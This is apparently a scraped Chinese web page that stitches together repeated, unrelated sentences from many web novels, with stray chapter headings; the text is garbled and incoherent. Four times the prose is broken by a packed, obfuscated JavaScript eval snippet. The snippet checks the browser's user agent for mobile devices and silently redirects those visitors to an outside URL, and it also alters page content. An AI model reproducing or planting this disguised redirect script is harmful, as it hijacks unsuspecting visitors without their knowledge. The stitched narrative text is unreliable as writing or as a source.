如果,在他拿下陈子陵的这段时间里,血宸影和贪婴分出了胜负,或者别人,比如司徒狱等人追了上来。 大约一盏茶的时间后,老头子和那五十来岁的老者终于交谈完毕。 “这可怎么办?叶少侠到现在都没有赶来。”清虚道人一脸焦急的说道。 想到这里,**眉毛一挑,然后直接开口,对齐灵云道:“想不到尔等还有救兵援助不过修为似乎差了一些,区区地仙之辈,来此又能有何助益?”罢,双眼紧盯着齐灵云不放,想要在其神色之中看出真伪。 向来富贵险中求,如果他们能一下完成这个任务就可以最早达到三等士兵,可以说比较其他后来玩家强上一大节。不说多了,他们可以直接接到奖励更加丰厚的军功任务。 和想象中的不太一样。 在这一刻,朱见濂几乎是要脱口而出了。告诉她汪直是他的杀母凶手,告诉她自己的顾虑和苦衷。可话头冒在嘴边,还是压了下去。 “唔,没用的!我曾经尝试过和别人合影,他们都看不到照片上的我,而且就算我挡在别人前面,他们也只会看到空白一片,觉得是曝光过度或是相机故障。”萌尾尾无可奈何的摆了摆手。 “抱歉,抱歉,原谅我,夫人,原谅我!”这个阉人侍者见势不妙急忙跪倒在地向着李基尼娅连连求饶,这是宫廷大臣德密斯修的意思,是说恺撒想给您一个惊喜。 一夜好眠,等第二天早上九点起来的时候,阿姨已经准备好了早餐,放在桌子上面,先起来的风泠澈已经坐在餐桌前默默地吃着早餐,第二个起来的是夏禹和林梦浅,两人一起走下来,看到风泠澈打了一声招呼入座。 可是现在整个府上的人都知道,自家主子得宠,那奴才们也都水涨船高。 简单吃过早点,罗辑带领纪隆君二人去了城中心一座规模更大的宅子城主府。 陈子陵一直在潜心的使用元神,**和抹去意志之中,幽冥炎王的烙印。 她刚搜索过MD,那是一家私人保安公司,做的相当大,是世界头号安保公司,行业翘楚,米**方重要的战略合作伙伴。 要知道不管是在摄政王府还是被贾宇带出来之后,她可是都没有饿过肚子的,现在看见一个讨人厌的家伙,自然是不能让她耽误了自己吃饭的时间。 三名男子从围观的牧民中走出,一前两后,穿过十八铁棍僧,来到圆桌旁。 巨大的奎龙,张着嘴满嘴尖牙,那舌头如利剑一般,好似**蛇吐信。看起来,有几分凶戾之感。 “谢谢,那我就不打扰侠士休息了”说完陈烈燃便离开了房间,严宫也继续打坐。 如果,在他拿下陈子陵的这段时间里,血宸影和贪婴分出了胜负,或者别人,比如司徒狱等人追了上来。 大约一盏茶的时间后,老头子和那五十来岁的老者终于交谈完毕。 “这可怎么办?叶少侠到现在都没有赶来。”清虚道人一脸焦急的说道。 想到这里,**眉毛一挑,然后直接开口,对齐灵云道:“想不到尔等还有救兵援助不过修为似乎差了一些,区区地仙之辈,来此又能有何助益?”罢,双眼紧盯着齐灵云不放,想要在其神色之中看出真伪。 向来富贵险中求,如果他们能一下完成这个任务就可以最早达到三等士兵,可以说比较其他后来玩家强上一大节。不说多了,他们可以直接接到奖励更加丰厚的军功任务。 和想象中的不太一样。 在这一刻,朱见濂几乎是要脱口而出了。告诉她汪直是他的杀母凶手,告诉她自己的顾虑和苦衷。可话头冒在嘴边,还是压了下去。 “唔,没用的!我曾经尝试过和别人合影,他们都看不到照片上的我,而且就算我挡在别人前面,他们也只会看到空白一片,觉得是曝光过度或是相机故障。”萌尾尾无可奈何的摆了摆手。 “抱歉,抱歉,原谅我,夫人,原谅我!”这个阉人侍者见势不妙急忙跪倒在地向着李基尼娅连连求饶,这是宫廷大臣德密斯修的意思,是说恺撒想给您一个惊喜。 一夜好眠,等第二天早上九点起来的时候,阿姨已经准备好了早餐,放在桌子上面,先起来的风泠澈已经坐在餐桌前默默地吃着早餐,第二个起来的是夏禹和林梦浅,两人一起走下来,看到风泠澈打了一声招呼入座。 可是现在整个府上的人都知道,自家主子得宠,那奴才们也都水涨船高。 简单吃过早点,罗辑带领纪隆君二人去了城中心一座规模更大的宅子城主府。 陈子陵一直在潜心的使用元神,**和抹去意志之中,幽冥炎王的烙印。 她刚搜索过MD,那是一家私人保安公司,做的相当大,是世界头号安保公司,行业翘楚,米**方重要的战略合作伙伴。 要知道不管是在摄政王府还是被贾宇带出来之后,她可是都没有饿过肚子的,现在看见一个讨人厌的家伙,自然是不能让她耽误了自己吃饭的时间。 三名男子从围观的牧民中走出,一前两后,穿过十八铁棍僧,来到圆桌旁。 巨大的奎龙,张着嘴满嘴尖牙,那舌头如利剑一般,好似**蛇吐信。看起来,有几分凶戾之感。 “谢谢,那我就不打扰侠士休息了”说完陈烈燃便离开了房间,严宫也继续打坐。 如果,在他拿下陈子陵的这段时间里,血宸影和贪婴分出了胜负,或者别人,比如司徒狱等人追了上来。 大约一盏茶的时间后,老头子和那五十来岁的老者终于交谈完毕。 “这可怎么办?叶少侠到现在都没有赶来。”清虚道人一脸焦急的说道。 想到这里,**眉毛一挑,然后直接开口,对齐灵云道:“想不到尔等还有救兵援助不过修为似乎差了一些,区区地仙之辈,来此又能有何助益?”罢,双眼紧盯着齐灵云不放,想要在其神色之中看出真伪。 向来富贵险中求,如果他们能一下完成这个任务就可以最早达到三等士兵,可以说比较其他后来玩家强上一大节。不说多了,他们可以直接接到奖励更加丰厚的军功任务。 和想象中的不太一样。 在这一刻,朱见濂几乎是要脱口而出了。告诉她汪直是他的杀母凶手,告诉她自己的顾虑和苦衷。可话头冒在嘴边,还是压了下去。 “唔,没用的!我曾经尝试过和别人合影,他们都看不到照片上的我,而且就算我挡在别人前面,他们也只会看到空白一片,觉得是曝光过度或是相机故障。”萌尾尾无可奈何的摆了摆手。 “抱歉,抱歉,原谅我,夫人,原谅我!”这个阉人侍者见势不妙急忙跪倒在地向着李基尼娅连连求饶,这是宫廷大臣德密斯修的意思,是说恺撒想给您一个惊喜。 一夜好眠,等第二天早上九点起来的时候,阿姨已经准备好了早餐,放在桌子上面,先起来的风泠澈已经坐在餐桌前默默地吃着早餐,第二个起来的是夏禹和林梦浅,两人一起走下来,看到风泠澈打了一声招呼入座。 可是现在整个府上的人都知道,自家主子得宠,那奴才们也都水涨船高。 简单吃过早点,罗辑带领纪隆君二人去了城中心一座规模更大的宅子城主府。 陈子陵一直在潜心的使用元神,**和抹去意志之中,幽冥炎王的烙印。 她刚搜索过MD,那是一家私人保安公司,做的相当大,是世界头号安保公司,行业翘楚,米**方重要的战略合作伙伴。 要知道不管是在摄政王府还是被贾宇带出来之后,她可是都没有饿过肚子的,现在看见一个讨人厌的家伙,自然是不能让她耽误了自己吃饭的时间。 三名男子从围观的牧民中走出,一前两后,穿过十八铁棍僧,来到圆桌旁。 巨大的奎龙,张着嘴满嘴尖牙,那舌头如利剑一般,好似**蛇吐信。看起来,有几分凶戾之感。 “谢谢,那我就不打扰侠士休息了”说完陈烈燃便离开了房间,严宫也继续打坐。 如果,在他拿下陈子陵的这段时间里,血宸影和贪婴分出了胜负,或者别人,比如司徒狱等人追了上来。 大约一盏茶的时间后,老头子和那五十来岁的老者终于交谈完毕。 “这可怎么办?叶少侠到现在都没有赶来。”清虚道人一脸焦急的说道。 想到这里,**眉毛一挑,然后直接开口,对齐灵云道:“想不到尔等还有救兵援助不过修为似乎差了一些,区区地仙之辈,来此又能有何助益?”罢,双眼紧盯着齐灵云不放,想要在其神色之中看出真伪。 向来富贵险中求,如果他们能一下完成这个任务就可以最早达到三等士兵,可以说比较其他后来玩家强上一大节。不说多了,他们可以直接接到奖励更加丰厚的军功任务。 和想象中的不太一样。 在这一刻,朱见濂几乎是要脱口而出了。告诉她汪直是他的杀母凶手,告诉她自己的顾虑和苦衷。可话头冒在嘴边,还是压了下去。 “唔,没用的!我曾经尝试过和别人合影,他们都看不到照片上的我,而且就算我挡在别人前面,他们也只会看到空白一片,觉得是曝光过度或是相机故障。”萌尾尾无可奈何的摆了摆手。 “抱歉,抱歉,原谅我,夫人,原谅我!”这个阉人侍者见势不妙急忙跪倒在地向着李基尼娅连连求饶,这是宫廷大臣德密斯修的意思,是说恺撒想给您一个惊喜。 一夜好眠,等第二天早上九点起来的时候,阿姨已经准备好了早餐,放在桌子上面,先起来的风泠澈已经坐在餐桌前默默地吃着早餐,第二个起来的是夏禹和林梦浅,两人一起走下来,看到风泠澈打了一声招呼入座。 可是现在整个府上的人都知道,自家主子得宠,那奴才们也都水涨船高。 简单吃过早点,罗辑带领纪隆君二人去了城中心一座规模更大的宅子城主府。 陈子陵一直在潜心的使用元神,**和抹去意志之中,幽冥炎王的烙印。 她刚搜索过MD,那是一家私人保安公司,做的相当大,是世界头号安保公司,行业翘楚,米**方重要的战略合作伙伴。 要知道不管是在摄政王府还是被贾宇带出来之后,她可是都没有饿过肚子的,现在看见一个讨人厌的家伙,自然是不能让她耽误了自己吃饭的时间。 三名男子从围观的牧民中走出,一前两后,穿过十八铁棍僧,来到圆桌旁。 巨大的奎龙,张着嘴满嘴尖牙,那舌头如利剑一般,好似**蛇吐信。看起来,有几分凶戾之感。 “谢谢,那我就不打扰侠士休息了”说完陈烈燃便离开了房间,严宫也继续打坐。 如果,在他拿下陈子陵的这段时间里,血宸影和贪婴分出了胜负,或者别人,比如司徒狱等人追了上来。 大约一盏茶的时间后,老头子和那五十来岁的老者终于交谈完毕。 “这可怎么办?叶少侠到现在都没有赶来。”清虚道人一脸焦急的说道。 想到这里,**眉毛一挑,然后直接开口,对齐灵云道:“想不到尔等还有救兵援助不过修为似乎差了一些,区区地仙之辈,来此又能有何助益?”罢,双眼紧盯着齐灵云不放,想要在其神色之中看出真伪。 向来富贵险中求,如果他们能一下完成这个任务就可以最早达到三等士兵,可以说比较其他后来玩家强上一大节。不说多了,他们可以直接接到奖励更加丰厚的军功任务。 和想象中的不太一样。 在这一刻,朱见濂几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095568|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要脱口而出了。告诉她汪直是他的杀母凶手,告诉她自己的顾虑和苦衷。可话头冒在嘴边,还是压了下去。 “唔,没用的!我曾经尝试过和别人合影,他们都看不到照片上的我,而且就算我挡在别人前面,他们也只会看到空白一片,觉得是曝光过度或是相机故障。”萌尾尾无可奈何的摆了摆手。 “抱歉,抱歉,原谅我,夫人,原谅我!”这个阉人侍者见势不妙急忙跪倒在地向着李基尼娅连连求饶,这是宫廷大臣德密斯修的意思,是说恺撒想给您一个惊喜。 一夜好眠,等第二天早上九点起来的时候,阿姨已经准备好了早餐,放在桌子上面,先起来的风泠澈已经坐在餐桌前默默地吃着早餐,第二个起来的是夏禹和林梦浅,两人一起走下来,看到风泠澈打了一声招呼入座。 可是现在整个府上的人都知道,自家主子得宠,那奴才们也都水涨船高。 简单吃过早点,罗辑带领纪隆君二人去了城中心一座规模更大的宅子城主府。 陈子陵一直在潜心的使用元神,**和抹去意志之中,幽冥炎王的烙印。 她刚搜索过MD,那是一家私人保安公司,做的相当大,是世界头号安保公司,行业翘楚,米**方重要的战略合作伙伴。 要知道不管是在摄政王府还是被贾宇带出来之后,她可是都没有饿过肚子的,现在看见一个讨人厌的家伙,自然是不能让她耽误了自己吃饭的时间。 三名男子从围观的牧民中走出,一前两后,穿过十八铁棍僧,来到圆桌旁。 巨大的奎龙,张着嘴满嘴尖牙,那舌头如利剑一般,好似**蛇吐信。看起来,有几分凶戾之感。 “谢谢,那我就不打扰侠士休息了”说完陈烈燃便离开了房间,严宫也继续打坐。 如果,在他拿下陈子陵的这段时间里,血宸影和贪婴分出了胜负,或者别人,比如司徒狱等人追了上来。 大约一盏茶的时间后,老头子和那五十来岁的老者终于交谈完毕。 “这可怎么办?叶少侠到现在都没有赶来。”清虚道人一脸焦急的说道。 想到这里,**眉毛一挑,然后直接开口,对齐灵云道:“想不到尔等还有救兵援助不过修为似乎差了一些,区区地仙之辈,来此又能有何助益?”罢,双眼紧盯着齐灵云不放,想要在其神色之中看出真伪。 向来富贵险中求,如果他们能一下完成这个任务就可以最早达到三等士兵,可以说比较其他后来玩家强上一大节。不说多了,他们可以直接接到奖励更加丰厚的军功任务。 和想象中的不太一样。 在这一刻,朱见濂几乎是要脱口而出了。告诉她汪直是他的杀母凶手,告诉她自己的顾虑和苦衷。可话头冒在嘴边,还是压了下去。 “唔,没用的!我曾经尝试过和别人合影,他们都看不到照片上的我,而且就算我挡在别人前面,他们也只会看到空白一片,觉得是曝光过度或是相机故障。”萌尾尾无可奈何的摆了摆手。 “抱歉,抱歉,原谅我,夫人,原谅我!”这个阉人侍者见势不妙急忙跪倒在地向着李基尼娅连连求饶,这是宫廷大臣德密斯修的意思,是说恺撒想给您一个惊喜。 一夜好眠,等第二天早上九点起来的时候,阿姨已经准备好了早餐,放在桌子上面,先起来的风泠澈已经坐在餐桌前默默地吃着早餐,第二个起来的是夏禹和林梦浅,两人一起走下来,看到风泠澈打了一声招呼入座。 可是现在整个府上的人都知道,自家主子得宠,那奴才们也都水涨船高。 简单吃过早点,罗辑带领纪隆君二人去了城中心一座规模更大的宅子城主府。 陈子陵一直在潜心的使用元神,**和抹去意志之中,幽冥炎王的烙印。 她刚搜索过MD,那是一家私人保安公司,做的相当大,是世界头号安保公司,行业翘楚,米**方重要的战略合作伙伴。 要知道不管是在摄政王府还是被贾宇带出来之后,她可是都没有饿过肚子的,现在看见一个讨人厌的家伙,自然是不能让她耽误了自己吃饭的时间。 三名男子从围观的牧民中走出,一前两后,穿过十八铁棍僧,来到圆桌旁。 巨大的奎龙,张着嘴满嘴尖牙,那舌头如利剑一般,好似**蛇吐信。看起来,有几分凶戾之感。 “谢谢,那我就不打扰侠士休息了”说完陈烈燃便离开了房间,严宫也继续打坐。 如果,在他拿下陈子陵的这段时间里,血宸影和贪婴分出了胜负,或者别人,比如司徒狱等人追了上来。 大约一盏茶的时间后,老头子和那五十来岁的老者终于交谈完毕。 “这可怎么办?叶少侠到现在都没有赶来。”清虚道人一脸焦急的说道。 想到这里,**眉毛一挑,然后直接开口,对齐灵云道:“想不到尔等还有救兵援助不过修为似乎差了一些,区区地仙之辈,来此又能有何助益?”罢,双眼紧盯着齐灵云不放,想要在其神色之中看出真伪。 向来富贵险中求,如果他们能一下完成这个任务就可以最早达到三等士兵,可以说比较其他后来玩家强上一大节。不说多了,他们可以直接接到奖励更加丰厚的军功任务。 和想象中的不太一样。 在这一刻,朱见濂几乎是要脱口而出了。告诉她汪直是他的杀母凶手,告诉她自己的顾虑和苦衷。可话头冒在嘴边,还是压了下去。 “唔,没用的!我曾经尝试过和别人合影,他们都看不到照片上的我,而且就算我挡在别人前面,他们也只会看到空白一片,觉得是曝光过度或是相机故障。”萌尾尾无可奈何的摆了摆手。 “抱歉,抱歉,原谅我,夫人,原谅我!”这个阉人侍者见势不妙急忙跪倒在地向着李基尼娅连连求饶,这是宫廷大臣德密斯修的意思,是说恺撒想给您一个惊喜。 一夜好眠,等第二天早上九点起来的时候,阿姨已经准备好了早餐,放在桌子上面,先起来的风泠澈已经坐在餐桌前默默地吃着早餐,第二个起来的是夏禹和林梦浅,两人一起走下来,看到风泠澈打了一声招呼入座。 可是现在整个府上的人都知道,自家主子得宠,那奴才们也都水涨船高。 简单吃过早点,罗辑带领纪隆君二人去了城中心一座规模更大的宅子城主府。 陈子陵一直在潜心的使用元神,**和抹去意志之中,幽冥炎王的烙印。 她刚搜索过MD,那是一家私人保安公司,做的相当大,是世界头号安保公司,行业翘楚,米**方重要的战略合作伙伴。 要知道不管是在摄政王府还是被贾宇带出来之后,她可是都没有饿过肚子的,现在看见一个讨人厌的家伙,自然是不能让她耽误了自己吃饭的时间。 三名男子从围观的牧民中走出,一前两后,穿过十八铁棍僧,来到圆桌旁。 巨大的奎龙,张着嘴满嘴尖牙,那舌头如利剑一般,好似**蛇吐信。看起来,有几分凶戾之感。 “谢谢,那我就不打扰侠士休息了”说完陈烈燃便离开了房间,严宫也继续打坐。 如果,在他拿下陈子陵的这段时间里,血宸影和贪婴分出了胜负,或者别人,比如司徒狱等人追了上来。 大约一盏茶的时间后,老头子和那五十来岁的老者终于交谈完毕。 “这可怎么办?叶少侠到现在都没有赶来。”清虚道人一脸焦急的说道。 想到这里,**眉毛一挑,然后直接开口,对齐灵云道:“想不到尔等还有救兵援助不过修为似乎差了一些,区区地仙之辈,来此又能有何助益?”罢,双眼紧盯着齐灵云不放,想要在其神色之中看出真伪。 向来富贵险中求,如果他们能一下完成这个任务就可以最早达到三等士兵,可以说比较其他后来玩家强上一大节。不说多了,他们可以直接接到奖励更加丰厚的军功任务。 第一卷 第217章 入住将军府! “当然了,不信你吃吃看。”姬然将自己咬过的玉米糕,很慷慨的塞到了霍无殇的嘴巴里。 卡尔挠了挠头,显而易见,这是个麻烦的任务,但是意义同样重大。 那是几周前的事了,刚刚从战备值班中解脱的飞行队长穆还没有来得及去履行他前往后方担任空战教官的调令,而收到了一个奇怪的命令,空军的情报局的人需要和他见一面。 为了提前预谋好计划,所以,陈平昨天晚上一夜没走,就在胡鹏家过的夜。 “破不开的!破不开的!”荒古光见徐铭突然停下来,不由生起了一丝希望,期待看着。 这明显带着兴奋地呢喃声,仿佛是从天外传来,太不真实,可当那声音真正响彻在这地下世界后,那冰蓝色骇人的寒芒却已经布满了这整个城堡之外的大地与天空!令所有人都呆住了。 骑士学院虽然一直自称正义之士,以打击邪恶为己任,但是再正义自己也是要吃饭的。所以骑士学院也有专门进行经营的部门,而骑士学院经营的东西倒是和蓝明学院类似,也是各种高科技机械产品。 眼前的这个散修,绝对不是普通人。光是实力就这么强大了,居然还有这么浓郁的杀气。她刚才说在深山隐居?该不会是从很久很久之前就活下来的‘老妖怪’吧。 天荒三百六十州公认的‘第三大势力’,魔域四大魔尊之一的南妖王,姜云惊身为煌煌大日宗最强者,天帝级四重天存在,自然深知道对方的厉害。 黄团长可没想到,不久以后他就会为自己这个当初灵机一动的英明决定,大感老怀宽慰的同时又哭笑不得。 一个太过混乱的索马里对所有人都不是一件好事,让索马里重归和平已经是所有大国协议的决定。从2016年开始,几乎所有的大国都把自己的精力放在了本国身上。 但埃德蒙多没有用刀,而是左腿微屈,右臂内弯,右掌划了个圆圈,呼的一声,向外推去,隔空使出一招刚猛无比的拳法,一道龙形气劲冲到了帝企鹅身上。 这几天她看尽了世态炎凉,尝尽了**,真正让她体会到了生不如死。 当然,如果看到昔日里的同学没有自己过得滋润,那么一种优越感就会从他们心里油然而生。然后以一个过来人的态度告诉你,生活很艰难之类安慰的话。 另外,此宝具还拥有死亡后自动使肉体苏生的效果,而 且因为此苏生贮存着11次的份量,所以赫拉克勒斯只要不**12次就不会消灭。另外,由于伊莉雅的魔力庞大,若有时间的话,减少的苏生次数甚至可以回复。 “不是,不是,只是我的裙子……”苏离落低着头,脸上冒着热气,云言熠看着她一袭月白色长裙,这才明白她心中的顾虑。 “灯,娘亲做的飞灯挂到树上去了。”她揉着眼睛,豆大的眼泪滴滴落下。 在敖琦第五十次手拿爆米花出现在我面前时,崩溃的不止是他,我也要崩溃了。看到又被吓的口吐白沫倒在地上直抽风的,乔旭和**。 封武台上,朱猛与周峰对视而立,两人虽然表面上没有动手,可是暗地里早已催动真力,互相较劲。 这个孩子得来不易,甄宓一定会拼命保护,而狠狠教训朱轩?,为国公府带来灭顶之灾,绝不会是保护孩子的好法子,相信甄宓心里是清楚这一点的。 换句话说,如果这时候周寒的开天军突然间杀出来,那就热闹了。 下面的观众一听,自己居然有机会觉得选手的名次,顿时都很是激动。 再者就是猪八戒,这货好吃懒做,见到点好吃的就想赖着不走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114787|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐三藏仅仅是稍微诱导了一下就让他就范,彻底变成了一个乖巧听话,师傅长师傅短的跟屁虫。 湖面上本是平静无波的空间,突然间像是一块布帛一样,竟然被硬生生撕裂开来一道巨大的裂缝。 再说,苏瀛的妃子不多,现在的格局是柳贵妃,李贵人,还有几位夫人。能称的起娘娘称谓的,也只有柳贵妃和李贵人。可是这柳贵妃,在清欢看来,她虽机智多端,却是与世无争的性子,定然不是纵火之人。 傍晚6点30分,R市第一实验中学高三二班的教室里,穆子正坐在倒数第三排靠窗的位子上,单手托着下巴,凝神望向远处的操场。 “一会儿我们稍微走慢一点吧。”顾凇抹了一把额头上的汗水,坐在姚江月对面的一块大石头上。“如果一切顺利,天黑之前,我们应该可以……”顾凇忽然皱起眉头不说话了。 听到这话,不少郭家子弟不由得有些惊讶,轻轻皱起了眉头,有些不解,甚至是不信。 林寒这一刻闭上了双眸,他手中的锈剑悬浮到了身前,颤动之间,竟然发出龙吟般的声音,随即,一道金色的剑光锋芒,瞬间从林寒的身躯中冲出,直接撕裂一切。 看着这样不肯配合的厉昊南,顾筱北觉得他们的谈话根本无法继续,她真的再找不到话题开口了,沉闷的气氛,又重重的压下来。 “好吧!”大嗓门也不知道路飞扬有什么想法,不过自己觉得,这个家伙肯定能够信得过!也就只能是相信路飞扬了!“哈哈,那我们出发吧!”路飞扬轻轻地笑了笑,跟着二人的身体瞬间消失不见。 “还等什么开火。”一个满清将领说道,显然这里的**都被艾斯德斯摧毁了,甚至连不少大炮都被破坏得一塌糊涂,导致现在满清的将领要用大炮都只能从兵营的其他地方运送过来。 第一卷 第218章 接风宴! 一座朱漆楼阁立于云州城中心,大门上方悬挂一块牌匾,上书风雪楼。 林发春还搞不懂现在是什么情况,就已经听到了萧战的求饶声了。 就在外面因为这件事闹得沸沸扬扬的时候,锦衣卫和东厂内部,对于这件事的讨论也在进行中。 到了第三天清晨,培龙才带着人马来到了普森德市,跟以往一样,整个城市里的反抗力量已经被清空,只要接管即可。而都千劫和冬一新、黄埔艾夜三人已经消失的无影无踪,谁不知道他们下一个目标会是那里。 “上人且慢,”有人高叫一声,一名中年人带着一名少年,从后院冲了过来,少年也就十四五岁,中年人四十出头,中阶武师修为。 他唇角那抹笑容明显再说不相信,安念楚恨透了乔楚的笑容,真想撕烂他的嘴,让他无法微笑。 “不喜欢。”安念楚想也没想直接回答,但尹碧蔚第二个问题——既然不喜欢为什么不能接受别的男人?是因为秦慕宸是你419的第一个对象,然后对于他总有着某种特殊的感情? 苏念安恨铁不成钢,果然美色当前,别说理智,尹碧蔚是连心智都可以抛弃。 听到冯君的话,两名真君齐齐又是一愣——魂体之后,晋阶出窍? 徐光启等了一会儿,看崇祯皇帝没有丝毫的表示,他也就知道了崇祯皇帝的意思。他的心是更凉了,只不过,他还要继续说下去。 刚接通,一道浓厚沙哑的嗓音就从手机的另一端传来,不知为何,声音显得很怪异,令人有一种说不出奇异感。 余下的活人,则会按照入门的时间分好,在名字底下添加身份、堂口、职位等资讯。 李少泽倒吸一口凉气,转身拍拍卡特的肩膀,试图带他离开套房。 却怎么也想不通,在许多紧要关头,为什么出现在身边的总会是颜时和涼凛毅,难道他们在自己身上装了**? 叶枫正爬在桌子上睡觉,陈果就急匆匆的跑过来,一掌拍在桌子上,将叶枫给吵醒了。 然而会选择一层大厅作为行动地点,而不是选择天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114788|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台、顶层等地点。 “少爷,没什么事的话,您就去睡吧!天亮还早呢!”钟齐说着,打了个哈哈,也想去睡觉。 “你连拳头都打不到我身上,你有什么资格跟我谈要求?”淮靳楠并不气恼,反而进一步的讽刺。 随后,他给王刚打了一个电话。王刚很是惊讶,林峰竟然会主动给他打电话,隐约中,他有些猜到林峰找他什么事情。 不过害怕倒是正常的,毕竟大好前途,毁于一旦。从警察变成**,以后全家都抬不起头做人,正常男人都会害怕。 苏芊撇了撇嘴,方元的性格真是多变,平时一本正经,私底下却也会开玩笑。 而钟大优等人似乎有种无动于衷的感觉,任由至添训出招,毕竟众人占据着人数上的优势,却不是三言两语就能吓阻的。 而避云梭是水晶打造而成的,器身是圆,里面是镂空的,神识无法透过里面,躲避效果非常好,只是驾驭避云梭需要的灵力非常强大,不但要注入灵力,而且还要加入许多灵石提供灵力。 第一卷 第219章 风雪楼,温砚秋! 迎面遇上走在往里走的穆骞欧芯简直不敢相信自己的眼睛。她知道唐冠年入狱甚至身亡的消息她以为穆骞早已经被汤怀瑾逐出了汤铭集团。 这句话说出口南瑜自己就先情绪奔溃双手抬起抱住头。下午见到的那个死胎彷若就在眼前如果没有亲眼看到过也许不会有她这样深入灵魂的恐惧。 “穆白此刻束手待擒还来得及只要你乖乖交代出我姜家秘术的出处 南瑜有些不明白为什么汤怀瑾会答应让她跟靳南风一起出门以汤怀瑾那个爱吃醋的性子这件事简直不可思议。 虽然现在身体已经没有问题可是刚被就上来的时候她养了好一阵子。人不能好了伤疤忘了疼。给她最多伤痛的人是他。 适才他只是试探并未全力祭出唤宝之术毕竟只有两次机会他并不想浪费但此次试探之下他却发现这光曦中的古宝绝不简单很可能不弱于那紫金葫芦。 “呼~——差点就搞不定了。”龙易辰见到了那猪勿近的身影直接是倒在了地上之后便是已然坐倒在了自己身后的那座位之上。 经过上一次她在李奶奶家里露的那手之后我已经完全相信姥姥的本事。 “轰!”其中一名类似领头的人一拳轰在了木柱上不满的发泄着。 不得不说他来得可真是够巧的也不知道在这一片儿溜了几圈了。 在展示柜前依依不舍的徘徊了好一会贺东临这才跟着刘芒继续往前走可走到靠近厨房门口那他的目光又被安置在一盏射灯下的水晶缸给吸引住了。 周石磊和孙佑滨各自还有八分钟的时间反倒没有李志凡这么煎熬所有的心思都花在了找最后的任务点上。 随处可见居住在达拉然的高等精灵在悲伤的哭泣他们在奎尔萨拉斯的同胞们遭遇到了一次可悲的不幸。 没有对比就没有伤害李志凡这次的表演一看就是下了苦工而他们虽然也费了心但跟李志凡一比好像他们的苦就没那么重了。 多兰待在他自己的房间里精神却异常的混乱他总感觉有些不安好像是什么危险要降临到自己的身体上一样。 本能的奥莱斯察觉到了一种名为“ 诡异”的气氛在当下“流淌”着。 米兰达惊叫了一声,自己下面瞬间有种汹涌的感觉,仿佛马上就要洪水泛滥了。 蜗牛远比螺肉要鲜嫩,并且蕴含丰富的汁水,和生蚝肉有些相像,但仔细品尝,却又比生蚝多了一丝肥美,并有一种黏口的感觉。 “是吗?”刘芒的脸色冷了下来,一而再,再而三的被人打脸,任谁都不好受。 “对不起!会不会很疼!”唐婉婷收回手,不安地看着唐笙关切问道,双手想抱着唐笙又不敢碰到她。 刘承宇这才意识到他的妻子昨晚临睡前为何那般苦口婆心的劝说他。 这个组织坐落于瑞士,最早是2战之后成立,但销声匿迹了数十年。而于五年前,它们好像又不声不响就冒出来了,刚一出来就完成了几件震惊全球的大事。 这些日子来,秦玉与花秋月一直住在山谷外的洞穴里,听到林烨的惨叫两人都是吓了一跳,连忙跑进来查看情况。 对面一阵骚动,他们都没想到贪狼星君的胃口竟然这么大,开口就要灭神炮的技术。 这样的话,她和阳光早教,都可以抽身出去,也就不会受那么大的影响了。 就在他的手刚一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114789|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触碰到铁匣子一瞬间,一股蓬勃的神念立即从匣子中冲出,侵袭入林烨脑海之中。 湘玥这一脚踩的极重,他脚上吃痛,一不留神,就被湘玥推开,又被她呸了一口。而趁着这个空档,叶明欢已经离开了。 晴空轻轻叹了口气,这个恶人还是她来当吧,送几天得不到回应,他就该死心了。 于是他收了扇子,上前几步,右手用力一拔,可惜剑原封不动。他再次发力,剑却依旧动也不动,牢牢嵌在地上。周围,不少围观的百姓和世家公子都开始窃窃私语嘲笑他。 “不过好在那人只针对战舰,不挡在他面前的话倒也不会特意杀过来。”有人庆幸道。 